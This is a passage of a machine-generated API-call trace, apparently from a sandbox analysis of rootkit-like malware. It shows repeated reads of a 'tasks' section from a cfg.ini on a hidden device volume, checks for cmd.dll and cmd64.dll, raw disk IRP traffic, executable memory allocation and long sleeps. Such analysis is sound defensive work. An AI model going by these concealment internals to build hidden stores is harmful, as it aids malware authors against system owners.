(FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.968] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07230 [0129.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] KeLeaveCriticalRegion () [0129.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.968] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.968] KeEnterCriticalRegion () [0129.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] KeLeaveCriticalRegion () [0129.968] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.968] KeEnterCriticalRegion () [0129.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.968] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.968] IdePortDispatch () returned 0x103 [0129.968] KeWaitForMutexObject () returned 0x0 [0129.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] KeLeaveCriticalRegion () [0129.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.968] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.968] KeEnterCriticalRegion () [0129.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d00000 [0129.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.968] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.969] IdePortDispatch () returned 0x103 [0129.969] KeWaitForMutexObject () returned 0x0 [0129.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.969] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.969] IdePortDispatch () returned 0x103 [0129.969] KeWaitForMutexObject () returned 0x0 [0129.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.969] KeLeaveCriticalRegion () [0129.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.970] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.970] KeEnterCriticalRegion () [0129.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] KeLeaveCriticalRegion () [0129.970] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.970] KeEnterCriticalRegion () [0129.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.970] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] KeLeaveCriticalRegion () [0129.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.970] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.970] KeEnterCriticalRegion () [0129.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] ExFreePoolWithTag (P=0xfffffa8003c07230, Tag=0x0) [0129.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] KeLeaveCriticalRegion () [0129.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.970] ReleaseMutex (hMutex=0xf0) returned 1 [0129.970] Sleep (dwMilliseconds=0x927c0) [0129.984] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.984] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.984] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.985] KeEnterCriticalRegion () [0129.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.985] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.985] IdePortDispatch () returned 0x103 [0129.985] KeWaitForMutexObject () returned 0x0 [0129.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.985] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.985] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.985] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.985] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.985] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c018c0 [0129.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.985] KeLeaveCriticalRegion () [0129.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.985] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.985] KeEnterCriticalRegion () [0129.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.985] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.985] KeLeaveCriticalRegion () [0129.985] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.985] KeEnterCriticalRegion () [0129.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.985] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.985] IdePortDispatch () returned 0x103 [0129.985] KeWaitForMutexObject () returned 0x0 [0129.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.986] KeLeaveCriticalRegion () [0129.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.986] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.986] KeEnterCriticalRegion () [0129.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.986] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d05000 [0129.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.986] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.986] IdePortDispatch () returned 0x103 [0129.986] KeWaitForMutexObject () returned 0x0 [0129.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.986] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.986] IdePortDispatch () returned 0x103 [0129.986] KeWaitForMutexObject () returned 0x0 [0129.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.987] KeLeaveCriticalRegion () [0129.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.987] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.987] KeEnterCriticalRegion () [0129.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] KeLeaveCriticalRegion () [0129.988] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.988] KeEnterCriticalRegion () [0129.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.988] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] KeLeaveCriticalRegion () [0129.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.988] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.988] KeEnterCriticalRegion () [0129.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] ExFreePoolWithTag (P=0xfffffa8003c018c0, Tag=0x0) [0129.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.988] KeLeaveCriticalRegion () [0129.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.988] ReleaseMutex (hMutex=0xf0) returned 1 [0129.988] Sleep (dwMilliseconds=0x927c0) [0130.002] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.002] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.002] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.002] KeEnterCriticalRegion () [0130.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.002] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.002] IdePortDispatch () returned 0x103 [0130.002] KeWaitForMutexObject () returned 0x0 [0130.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.003] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.003] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.003] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff9c0 [0130.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] KeLeaveCriticalRegion () [0130.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.003] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.003] KeEnterCriticalRegion () [0130.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] KeLeaveCriticalRegion () [0130.003] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.003] KeEnterCriticalRegion () [0130.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.003] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.003] IdePortDispatch () returned 0x103 [0130.003] KeWaitForMutexObject () returned 0x0 [0130.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] KeLeaveCriticalRegion () [0130.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.003] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.003] KeEnterCriticalRegion () [0130.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0a000 [0130.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.003] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.003] IdePortDispatch () returned 0x103 [0130.003] KeWaitForMutexObject () returned 0x0 [0130.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.004] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.004] IdePortDispatch () returned 0x103 [0130.004] KeWaitForMutexObject () returned 0x0 [0130.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.004] KeLeaveCriticalRegion () [0130.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.004] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.004] KeEnterCriticalRegion () [0130.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] KeLeaveCriticalRegion () [0130.005] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.005] KeEnterCriticalRegion () [0130.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] KeLeaveCriticalRegion () [0130.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.005] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.005] KeEnterCriticalRegion () [0130.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] ExFreePoolWithTag (P=0xfffffa8003bff9c0, Tag=0x0) [0130.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] KeLeaveCriticalRegion () [0130.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.005] ReleaseMutex (hMutex=0xf0) returned 1 [0130.005] Sleep (dwMilliseconds=0x927c0) [0130.026] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.026] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.026] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.026] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.026] KeEnterCriticalRegion () [0130.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.026] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.026] IdePortDispatch () returned 0x103 [0130.026] KeWaitForMutexObject () returned 0x0 [0130.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.027] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.027] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.027] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.027] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.027] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c082d0 [0130.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] KeLeaveCriticalRegion () [0130.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.027] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.027] KeEnterCriticalRegion () [0130.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] KeLeaveCriticalRegion () [0130.027] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.027] KeEnterCriticalRegion () [0130.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.027] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.027] IdePortDispatch () returned 0x103 [0130.027] KeWaitForMutexObject () returned 0x0 [0130.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] KeLeaveCriticalRegion () [0130.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.027] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, 